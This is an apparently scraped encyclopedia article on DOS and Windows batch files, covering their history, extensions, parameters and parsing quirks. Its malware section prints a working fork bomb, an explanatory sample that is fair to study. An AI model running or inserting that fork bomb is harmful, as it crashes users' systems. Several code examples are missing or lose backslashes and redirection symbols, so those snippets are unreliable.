        Similar to Job Control Language (JCL), DCL and other systems on mainframe and minicomputer systems, batch files were added to ease the work required for certain regular tasks by allowing the user to set up a script to automate them. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line. [1] Unix-like operating systems, such as Linux, have a similar, but more flexible, type of file called a shell script. [2]

        The filename extension .bat is used in DOS and Windows. Windows NT and OS/2 also added .cmd. Batch files for other environments may have different extensions, e.g., .btm in 4DOS, 4OS2 and 4NT related shells.

        The detailed handling of batch files has changed significantly between versions. Some of the detail in this article applies to all batch files, while other details apply only to certain versions.

        Variants [ edit ]

        DOS [ edit ]

        In MS-DOS, a batch file can be started from the command-line interface by typing its name, followed by any required parameters and pressing the ↵ Enter key. When DOS loads, the file AUTOEXEC.BAT, when present, is automatically executed, so any commands that need to be run to set up the DOS environment may be placed in this file. Computer users would have the AUTOEXEC.BAT file set up the system date and time, initialize the DOS environment, load any resident programs or device drivers, or initialize network connections and assignments.

        A .bat file name extension identifies a file containing commands that are executed by the command interpreter COMMAND.COM line by line, as if it were a list of commands entered manually, with some extra batch-file-specific commands for basic programming functionality, including a GOTO command for changing flow of line execution.

        Early Windows [ edit ]

        Microsoft Windows was introduced in 1985 as a graphical user interface-based (GUI) overlay on text-based operating systems and was designed to run on DOS. In order to start it, the WIN command was used, which could be added to the end of the AUTOEXEC.BAT file to allow automatic loading of Windows. In the earlier versions, one could run a .bat type file from Windows in the MS-DOS Prompt. Windows 3.1x and earlier, as well as Windows 9x invoked COMMAND.COM to run batch files.

        OS/2 [ edit ]

        The IBM OS/2 operating system supported DOS-style batch files. It also included a version of REXX, a more advanced batch-file scripting language. IBM and Microsoft started developing this system, but during the construction of it broke up after a dispute; as a result of this, IBM referred to their DOS-like console shell without mention of Microsoft, naming it just DOS, although this seemingly made no difference with regard to the way batch files worked from COMMAND.COM.

        OS/2’s batch file interpreter also supports an EXTPROC command. This passes the batch file to the program named on the EXTPROC file as a data file. The named program can be a script file; this is similar to the #! mechanism used by Unix-like operating systems.

        Windows NT [ edit ]

        Unlike Windows 98 and earlier, the Windows NT family of operating systems does not depend on MS-DOS. Windows NT introduced an enhanced 32-bit command interpreter (cmd.exe) that could execute scripts with either the .CMD or .BAT extension. Cmd.exe added additional commands, and implemented existing ones in a slightly different way, so that the same batch file (with different extension) might work differently with cmd.exe and COMMAND.COM. In most cases, operation is identical if the few unsupported commands are not used. Cmd.exe’s extensions to COMMAND.COM can be disabled for compatibility.

        Microsoft released a version of cmd.exe for Windows 9x and ME called WIN95CMD to allow users of older versions of Windows to use certain cmd.exe-style batch files.

        As of Windows 8, cmd.exe is the normal command interpreter for batch files; the older COMMAND.COM can be run as well in 32-bit versions of Windows able to run 16-bit programs. [nb 1]

        Filename extensions [ edit ]

        .bat The first filename extension used by Microsoft for batch files. This extension runs with DOS and all versions of Windows, under COMMAND.COM or cmd.exe, despite the different ways the two command interpreters execute batch files. .cmd Used for batch files in Windows NT family and sent to cmd.exe for interpretation. COMMAND.COM does not recognize this file name extension, so cmd.exe scripts are not executed in the wrong Windows environment by mistake. In addition, append , dpath , ftype , set , path , assoc and prompt commands, when executed from a .bat file, alter the value of the errorlevel variable only upon an error, whereas from within a .cmd file, they would affect errorlevel even when returning without an error. [3] It is also used by IBM’s OS/2 for batch files. .btm The extension used by 4DOS, 4OS2, 4NT and Take Command. These scripts are faster, especially with longer ones, as the script is loaded entirely ready for execution, rather than line-by-line. [4]

        Batch file parameters [ edit ]

        COMMAND.COM and cmd.exe support special variables ( %0 , %1 through %9 ) in order to refer to the path and name of the batch job and the first nine calling parameters from within the batch job, see also SHIFT . Non-existent parameters are replaced by a zero-length string. They can be used similar to environment variables, but are not stored in the environment. Microsoft and IBM refer to these variables as replacement parameters or replaceable parameters, whereas Digital Research, Novell and Caldera established the term replacement variables [5] for them. JP Software calls them batch file parameters. [6]

        Examples [ edit ]

        This example batch file displays Hello World! , prompts and waits for the user to press a key, and then terminates. (Note: It does not matter if commands are lowercase or uppercase unless working with variables)

        @ECHO OFF ECHO Hello World! PAUSE 

        To execute the file, it must be saved with the filename extension suffix .bat (or .cmd for Windows NT-type operating systems) in plain text format, typically created by using a text editor such as Microsoft Notepad or a word processor working in plain text mode.

        When executed, the following is displayed:

        Hello World! Press any key to continue . . .

        Explanation [ edit ]

        The interpreter executes each line in turn, starting with the first. The @ symbol at the start of any line prevents the prompt from displaying that command as it is executed. The command ECHO OFF turns off the prompt permanently, or until it is turned on again. The combined @ECHO OFF is often as here the first line of a batch file, preventing any commands from displaying, itself included. Then the next line is executed and the ECHO Hello World! command outputs Hello World! . The next line is executed and the PAUSE command displays Press any key to continue . . . and pauses the script’s execution. After a key is pressed, the script terminates, as there are no more commands. In Windows, if the script is executed from an already running command prompt window, the window remains open at the prompt as in MS-DOS; otherwise, the window closes on termination.

        Limitations and exceptions [ edit ]

        Null values in variables [ edit ]

        Variable expansions are substituted textually into the command, and thus variables which contain nothing simply disappear from the syntax, and variables which contain spaces turn into multiple tokens. This can lead to syntax errors or bugs.

        For example, if %foo% is empty, this statement:

        parses as the erroneous construct:

        Similarly, if %foo% contains abc def , then a different syntax error results:

        IF abc def==bar ECHO Equal

        The usual way to prevent this problem is to surround variable expansions in quotes so that an empty variable expands into the valid expression IF «»==»bar» instead of the invalid IF ==bar . The text that is being compared to the variable must also be enclosed in quotes, because the quotes are not special delimiting syntax; these characters represent themselves.

        IF "%foo%"=="bar" ECHO Equal

        The delayed !VARIABLE! expansion available in Windows 2000 and later may be used to avoid these syntactical errors. In this case, null or multi-word variables do not fail syntactically because the value is expanded after the IF command is parsed:

        Another difference in Windows 2000 or higher is that an empty variable (undefined) is not substituted. As described in previous examples, previous batch interpreter behaviour would have resulted in an empty string. Example:

        C:>set MyVar= C:>echo %MyVar% %MyVar% C:>if "%MyVar%"=="" (echo MyVar is not defined) else (echo MyVar is %MyVar%) MyVar is %MyVar% 

        Batch interpreters prior to Windows 2000 would have displayed result MyVar is not defined .

        Quotation marks and spaces in passed strings [ edit ]

        Unlike Unix/POSIX processes, which receive their command-line arguments already split up by the shell into an array of strings, a Windows process receives the entire command-line as a single string, via the GetCommandLine API function. As a result, each Windows application can implement its own parser to split the entire command line into arguments. Many applications and command-line tools have evolved their own syntax for doing that, and so there is no single convention for quoting or escaping metacharacters on Windows command lines.

        • For some commands, spaces are treated as delimiters that separate arguments, unless those spaces are enclosed by quotation marks. Various conventions exist of how quotation marks can be passed on to the application:
          • A widely used convention is implemented by the command-line parser built into the Microsoft Visual C++ runtime library in the CommandLineToArgvW function. It uses the convention that 2 n backslashes followed by a quotation mark («) produce n backslashes followed by a begin/end quote, whereas (2 n )+1 backslashes followed by a quotation mark again produce n backslashes followed by a quotation mark literal. The same convention is part of the .NET Framework specification. [7]
            • An undocumented aspect is that «» occurring in the middle of a quoted string produces a single quotation mark. [7] (A CRT change in 2008 [msvcr90] modified this undocumented handling of quotes. [8] ) This is helpful for inserting a quotation mark in an argument without re-enabling interpretation of cmd metacharacters like | , & and > . (cmd does not recognize the usual « as escaping the quote. It re-enables these special meanings on seeing the quote, thinking the quotation has ended.)

            Where a string contains quotation marks, and is to be inserted into another line of text that must also be enclosed in quotation marks, particular attention to the quoting mechanism is required:

            C:>set foo="this string is enclosed in quotation marks" C:>echo "test 1 %foo%" "test 1 "this string is enclosed in quotation marks"" C:>eventcreate /T Warning /ID 1 /L System /SO "Source" /D "Example: %foo%" ERROR: Invalid Argument/Option - 'string'. Type "EVENTCREATE /?" for usage. 

            On Windows 2000 and later, the solution is to replace each occurrence of a quote character within a value by a series of three quote characters:

            C:>set foo="this string is enclosed in quotes" C:>set foo=%foo:"="""% C:>echo "test 1 %foo%" "test 1 """this string is enclosed in quotes"""" C:>eventcreate /T Warning /ID 1 /L System /SO "Source" /D "Example: %foo%" SUCCESS: A 'Warning' type event is created in the 'Source' log/source. 

            Escaped characters in strings [ edit ]

            Some characters, such as pipe ( | ) characters, have special meaning to the command line. They cannot be printed as text using the ECHO command unless escaped using the caret ^ symbol:

            C:>echo foo | bar 'bar' is not recognized as an internal or external command, operable program or batch file. C:>echo foo ^| bar foo | bar 

            However, escaping does not work as expected when inserting the escaped character into an environment variable. The variable ends up containing a live pipe command when merely echoed. It is necessary to escape both the caret itself and the escaped character for the character display as text in the variable:

            C:>set foo=bar | baz 'baz' is not recognized as an internal or external command, operable program or batch file. C:>set foo=bar ^| bar C:>echo %foo% 'baz' is not recognized as an internal or external command, operable program or batch file. C:>set foo=bar ^^^| baz C:>echo %foo% bar | baz 

            The delayed expansion available with or with in Windows 2000 and later may be used to show special characters stored in environment variables because the variable value is expanded after the command was parsed:

            C:>cmd /V:ON Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:>set foo=bar ^| baz C:>echo !foo! bar | baz 

            Sleep or scripted delay [ edit ]

            Until the TIMEOUT command was introduced with Windows Vista, there was no easy way to implement a timed pause, as the PAUSE command halts script activity indefinitely until any key is pressed.

            Many workarounds were possible, [10] but generally only worked in some environments: The CHOICE command was not available in older DOS versions, PING was only available if TCP/IP was installed, and so on. No solution was available from Microsoft, but a number of small utility programs, could be installed from other sources. A commercial example would be the 1988 Norton Utilities Batch Enhancer (BE) command, where BE DELAY 18 would wait for 1 second, or the free 94-byte WAIT.COM [11] where WAIT 5 would wait for 5 seconds, then return control to the script. Most such programs are 16-bit .COM files, so are incompatible with 64-bit Windows.

            Text output with stripped CR/LF [ edit ]

            Normally, all printed text automatically has the control characters for carriage return (CR) and line feed (LF) appended to the end of each line.

            C:>batchtest.bat foo bar 

            It does not matter if the two echo commands share the same command line; the CR/LF codes are inserted to break the output onto separate lines:

            C:>@echo Message 1&@echo Message 2 Message 1 Message 2 

            A trick discovered with Windows 2000 and later is to use the special prompt for input to output text without CR/LF trailing the text. In this example, the CR/LF does not follow Message 1, but does follow Line 2 and Line 3:

            @echo off set /p ="Message 1"nul echo Message 2 echo Message 3
            C:>batchtest2.bat Message 1Message 2 Message 3 

            This can be used to output data to a text file without CR/LF appended to the end:

            C:>set /p ="Message 1"nul >data.txt C:>set /p ="Message 2"nul >>data.txt C:>set /p ="Message 3"nul >>data.txt C:>type data.txt Message 1Message 2Message 3 

            However, there is no way to inject this stripped CR/LF prompt output directly into an environment variable.

            Setting a Uniform Naming Convention (UNC) working directory from a shortcut [ edit ]

            It is not possible to have a command prompt that uses a UNC path as the current working directory; e.g. \serversharedirectory

            The command prompt requires the use of drive letters to assign a working directory, which makes running complex batch files stored on a server UNC share more difficult. While a batch file can be run from a UNC file path, the working directory default is C:WindowsSystem32 .

            In Windows 2000 and later, a workaround is to use the PUSHD and POPD command with command extensions. [nb 2]

            If not enabled by default, command extensions can be temporarily enabled using the /E:ON switch for the command interpreter.

            So to run a batch file on a UNC share, assign a temporary drive letter to the UNC share, and use the UNC share as the working directory of the batch file, a Windows shortcut can be constructed that looks like this:

            The working directory attribute of this shortcut is ignored.

            This also solves a problem related to User Account Control (UAC) on Windows Vista and newer. When an administrator is logged on and UAC is enabled, and they try to run a batch file as administrator from a network drive letter, using the right-click file context menu, the operation will unexpectedly fail. This is because the elevated UAC privileged account context does not have network drive letter assignments, and it is not possible to assign drive letters for the elevated context via the Explorer shell or logon scripts. However, by creating a shortcut to the batch file using the above PUSHD / POPD construct, and using the shortcut to run the batch file as administrator, the temporary drive letter will be created and removed in the elevated account context, and the batch file will function correctly.

            The following syntax does correctly expand to the path of the current batch script.

            UNC default paths are turned off by default as they used to crash older programs. [12]

            The Dword registry value DisableUNCCheck at HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor [12] allows the default directory to be UNC. CD command will refuse to change but placing a UNC path in Default Directory in a shortcut to Cmd or by using the Start command. ( C$ share is for administrators).

            Character set [ edit ]

            Batch files use an OEM character set, as defined by the computer, e.g. Code page 437. The non-ASCII parts of these are incompatible with the Unicode or Windows character sets otherwise used in Windows so care needs to be taken. [13] Non-English file names work only if entered through a DOS character set compatible editor. File names with characters outside this set do not work in batch files.

            To get a command prompt with Unicode instead of Code page 437 or similar, one can use the cmd /U command. In such a command prompt, a batch file with Unicode filenames will work. Also one can use cmd /U to directly execute commands with Unicode as character set. For example, cmd /U /C dir > files.txt creates a file containing a directory listing with correct Windows characters, in the UTF-16LE encoding.

            Batch viruses and malware [ edit ]

            As with any other programming language, batch files can be used maliciously. Simple trojans and fork bombs are easily created, and batch files can do a form of DNS poisoning by modifying the hosts file. Batch viruses are possible, and can also spread themselves via USB flash drives by using Windows’ Autorun capability. [14]

            The following command in a batch file will delete all the data in the current directory (folder) — without first asking for confirmation:

            These three commands are a simple fork bomb that will continually replicate itself to deplete available system resources, slowing down or crashing the system:

            :TOP start "" %0 goto TOP 

            Other Windows scripting languages [ edit ]

            The cmd.exe command processor that interprets .cmd files is supported in all 32- and 64-bit versions of Windows up to at least Windows 10. COMMAND.EXE, which interprets .BAT files, was supported in all 16- and 32-bit versions up to at least Windows 10. [nb 3]

            There are other, later and more powerful, scripting languages available for Windows. However, these require the scripting language interpreter to be installed before they can be used:

            • Extended Batch Language (EBL) (.bat) — developed by Frank Canova as an ‘own-time’ project while working at IBM in 1982. It was subsequently sold by Seaware Corp as an interpreter and compiler primarily for DOS, but later for Windows.
            • KiXtart (.kix) — developed by a Microsoft employee in 1991, specifically to meet the need for commands useful in a network logon script while retaining the simple ‘feel’ of a .cmd file.
            • Windows Script Host (.vbs , .js and .wsf) — released by Microsoft in 1998, and consisting of cscript.exe and wscript.exe, runs scripts written in VBScript or JScript. It can run them in windowed mode (with the wscript.exe host) or in console-based mode (with the cscript.exe host). They have been a part of Windows since Windows 98.
            • PowerShell (.ps1) — released in 2006 by Microsoft and can operate with Windows XP (SP2/SP3) and later versions. PowerShell can operate both interactively (from a command-line interface) and also via saved scripts, and has a strong resemblance to Unix shells. [15]
            • Unix-style shell scripting languages can be used if a Unix compatibility tool, such as Cygwin, is installed.
            • Cross-platform scripting tools including Perl, Python, Ruby, Rexx, Node.js and PHP are available for Windows.

            Script files run if the filename without extension is entered. There are rules of precedence governing interpretation of, say, DoThis if DoThis.com , DoThis.exe , DoThis.bat , DoThis.cmd , etc. exist; by default DoThis.com has highest priority. This default order may be modified in newer operating systems by the user-settable PATHEXT environment variable.

            See also [ edit ]

            • List of DOS commands

            Notes [ edit ]

            1. ^ To verify that COMMAND.COM remains available (in the WINDOWSSYSTEM32 directory), type COMMAND.COM at the 32-bit Windows 7 command prompt.
            2. ^ «If Command Extensions are enabled the PUSHD command accepts network paths in addition to the normal drive letter and path. If a network path is specified, PUSHD creates a temporary drive letter that points to that specified network resource and then change the current drive and directory, using the newly defined drive letter. Temporary drive letters are allocated from Z: on down, using the first unused drive letter found.» —The help for PUSHD in Windows 7
            3. ^ Availability of CMD.EXE and COMMAND.COM can be confirmed by invoking them in any version of Windows (COMMAND.COM not in 64-bit versions; probably only available in Windows 8 32-bit versions if installed with option to support 16-bit programs).

            References [ edit ]

            1. ^ «Using batch files: Scripting; Management Services». Technet.microsoft.com. 2005-01-21 . Retrieved 2012-11-30 .
            2. ^ Henry-Stocker, Sandra (2007-07-18). «Use your Unix scripting skills to write a batch file». itworld.com. IT World . Retrieved 2018-06-13 .
            3. ^ «Difference between bat and cmd | WWoIT — Wayne’s World of IT». waynes-world-it.blogspot.fr. 2012-11-15 . Retrieved 2012-11-30 .
            4. ^ «btm file extension :: all about the .btm file type». Cryer.co.uk . Retrieved 2012-11-30 .
            5. ^Caldera DR-DOS 7.02 User Guide, Caldera, Inc., 1998 [1993, 1997], archived from the original on 2016-11-05 , retrieved 2013-08-10
            6. ^ Brothers, Hardin; Rawson, Tom; Conn, Rex C.; Paul, Matthias R.; Dye, Charles E.; Georgiev, Luchezar I. (2002-02-27). 4DOS 8.00 online help.
            7. ^ ab «.NET Core Runtime: System.Diagnostics.Process.Unix». GitHub . Retrieved 2020-02-11 . Two consecutive double quotes inside an inQuotes region should result in a literal double quote (the parser is left in the inQuotes region). This behavior is not part of the spec of code:ParseArgumentsIntoList, but is compatible with CRT and .NET Framework.
            8. ^ ab Deley, David. «How Command Line Parameters Are Parsed».
            9. ^ «Child process documentation, section Windows Command Line, NodeJS PR #29576». GitHub . Retrieved 2020-02-11 .
            10. ^ «How to do a delay», ericphelps.com
            11. ^ Utilities for DOS, linking to WAIT.ZIP (archive of WAIT.COM) and other programs
            12. ^ ab https://support.microsoft.com/en-us/kb/156276 [ dead link ]
            13. ^ Chen, Raymond. «Keep your eye on the code page». Microsoft.
            14. ^ http://www.explorehacking.com/2011/01/batch-files-art-of-creating-viruses.html [ bare URL ]
            15. ^ «Windows PowerShell — Unix comes to Windows». Geekswithblogs.net . Retrieved 2012-11-30 .

            External links [ edit ]

            • Microsoft Windows XP Batch file reference
            • How Windows batch files work
            • Windows 10 batch file commands
            • FreeDOS’ FreeCOM : complete feature list
            • Windows Command Line Interface script programming links
            • scripting related information (also command line)
            • dbenham. «How does the Windows Command Interpreter (CMD.EXE) parse scripts?». Stack Overflow.